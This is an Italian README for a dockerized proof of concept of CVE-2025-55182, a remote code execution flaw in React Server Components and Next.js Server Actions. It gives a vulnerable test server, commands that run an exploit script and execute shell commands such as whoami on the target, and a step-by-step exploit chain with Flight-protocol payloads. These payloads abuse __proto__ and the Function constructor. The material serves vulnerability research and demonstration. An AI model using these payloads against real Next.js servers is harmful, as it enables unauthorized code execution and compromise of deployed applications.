
Proof-of-concept dockerizzato per CVE-2025-55182, una RCE critica in React Server Components tramite prototype pollution, con script di exploit automatizzati e un ambiente di test Next.js vulnerabile.
Questo repository contiene una prova di concetto dockerizzata per CVE-2025-55182, una vulnerabilità critica di esecuzione di codice remoto nei React Server Components (RSC) che colpisce le applicazioni Next.js che utilizzano Server Actions.
La prova di concetto originale e l'analisi della vulnerabilità sono state create da msanft. Questo repository estende il suo lavoro fornendo un ambiente di test dockerizzato per test e dimostrazioni più semplici.
requests (pip install requests)Avvia il server Next.js vulnerabile:
docker compose up --build -d
Attendi l'avvio del server (controlla i log con docker compose logs -f nextjs-server)
Esegui l'exploit:
# Script automatizzato (consigliato)
./exploit-docker.sh
# Oppure manualmente
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Verifica che l'exploit abbia funzionato:
docker compose exec nextjs-server ls -la /tmp/rce_test
# Crea un file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# Scrivi in un file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Controlla l'utente corrente
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Verifica i risultati
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) all'interno del contenitoreQuesto repository include una configurazione Docker completa per testare la vulnerabilità:
docker-compose.yml - Configurazione Docker Composetest-server/ - Applicazione Next.js vulnerabiletest-server/Dockerfile - Dockerfile di produzionetest-server/Dockerfile.dev - Dockerfile di sviluppo (opzionale)Il server vulnerabile esegue Next.js 16.0.6 con una semplice Server Action che può essere sfruttata.
poc.py - Script Python di prova di concetto (originale di msanft, con correzioni per escaping delle virgolette)exploit-docker.sh - Script di exploit automatizzato per ambiente DockerDOCKER_SETUP.md - Documentazione completa sulla configurazione Docker# Arresta il contenitore
docker compose down
# Rimuovi tutto (compresi i volumi)
docker compose down -v
L'analisi dettagliata della vulnerabilità, la catena di sfruttamento e le informazioni sulla patch provenienti dalla ricerca originale sono fornite di seguito.
Questa vulnerabilità consente l'esecuzione di codice remoto nelle React Server Functions, ad esempio come offerto da Next.js tramite riferimenti prototipo non sicuri.
Non sono un esperto di React o Next.js, quindi prendi tutte le informazioni qui con le pinze. Inoltre, sono ancora in fase di analisi, quindi ciò che descrivo di seguito come "la vulnerabilità" potrebbe essere solo una piccola parte dell'intera catena.
React offre le Server Functions[^1], che possono essere viste come una sorta di RPC su HTTP. Possono essere utilizzate per recuperare dati da peer adiacenti per garantire bassa latenza, o eseguire richieste autenticate per le quali il client non ha credenziali.
React utilizza qualcosa chiamato React Flight Protocol[^2] per la serializzazione dei valori passati alle Server Functions.
Il client passa "chunk" al server, ad esempio tramite form data:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Come mostrato, questi possono avere riferimenti tra di loro. Il payload sopra viene deserializzato sul server in:
{ object: 'fruit', name: 'cherry' }
Il formato stesso è un po' più complesso e consente serializzazioni e deserializzazioni più complesse, ma questo fornisce una comprensione di base per la vulnerabilità effettiva.
Fino a questo commit[^3], durante l'attraversamento dei chunk nella risoluzione dei riferimenti, come ottenere fruitName dal chunk 2 nell'esempio sopra, React non verificava se la chiave richiesta fosse effettivamente impostata sull'oggetto. Questo ci permetteva di ottenere il prototipo dell'oggetto[^4].
Ciò può essere dimostrato con un payload come questo:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Che viene deserializzato nel costruttore di funzioni[^5]:
[Function: Function]
Quando il chunk con ID 0 non è un array ma un oggetto, possiamo impostare la chiave then sul costruttore di funzioni. L'oggetto viene quindi restituito dalla funzione decodeReplyFromBusboy e atteso da Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Quando questo restituisce un thenable, await nel chiamante lo richiamerà. Questo è ciò che accade con questo payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Portando a questo errore:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
L'errore appare così perché V8 chiama una funzione awaitata con le funzioni interne resolve e reject, che, quando convertite in stringa, serializzano in qualcosa come:
function () { [native code] }
Poiché possiamo ottenere trivialmente il costruttore Function, il modo più diretto è trovare un gadget di chiamata che invochi il costruttore con un valore controllato dall'utente (cioè il codice della funzione come stringa) e successivamente chiami la funzione restituita.
Ci sono diversi posti che possono chiamare il costruttore di funzioni, ad esempio resolveServerReference, dove id è un oggetto controllato, e lastIndexOf può essere sovrascritto per restituire una stringa controllata dall'utente (es. tramite Array.prototype.join) e slice può essere sovrascritto al costruttore di funzioni. Tuttavia, questo posto non funziona poiché la seconda invocazione di .slice() fornisce un numero come primo argomento, che - per quanto ne so - non può mai essere gestito dal costruttore di funzioni.
Qui arriva un'idea brillante di maple3142[^7]. Quando getChunk prende il chunk con ID 0 come riferimento radice per iniziare a risolvere la catena di riferimenti, questo stesso chunk può risolversi in un "falso chunk" creato appositamente.
Possiamo fare riferimento al chunk creato 0 nel chunk 1 usando la sintassi $@, che restituisce il chunk "grezzo", non il suo valore risolto:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combinando questo con la nostra sovrascrittura di then di cui sopra, possiamo creare qualcosa come:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}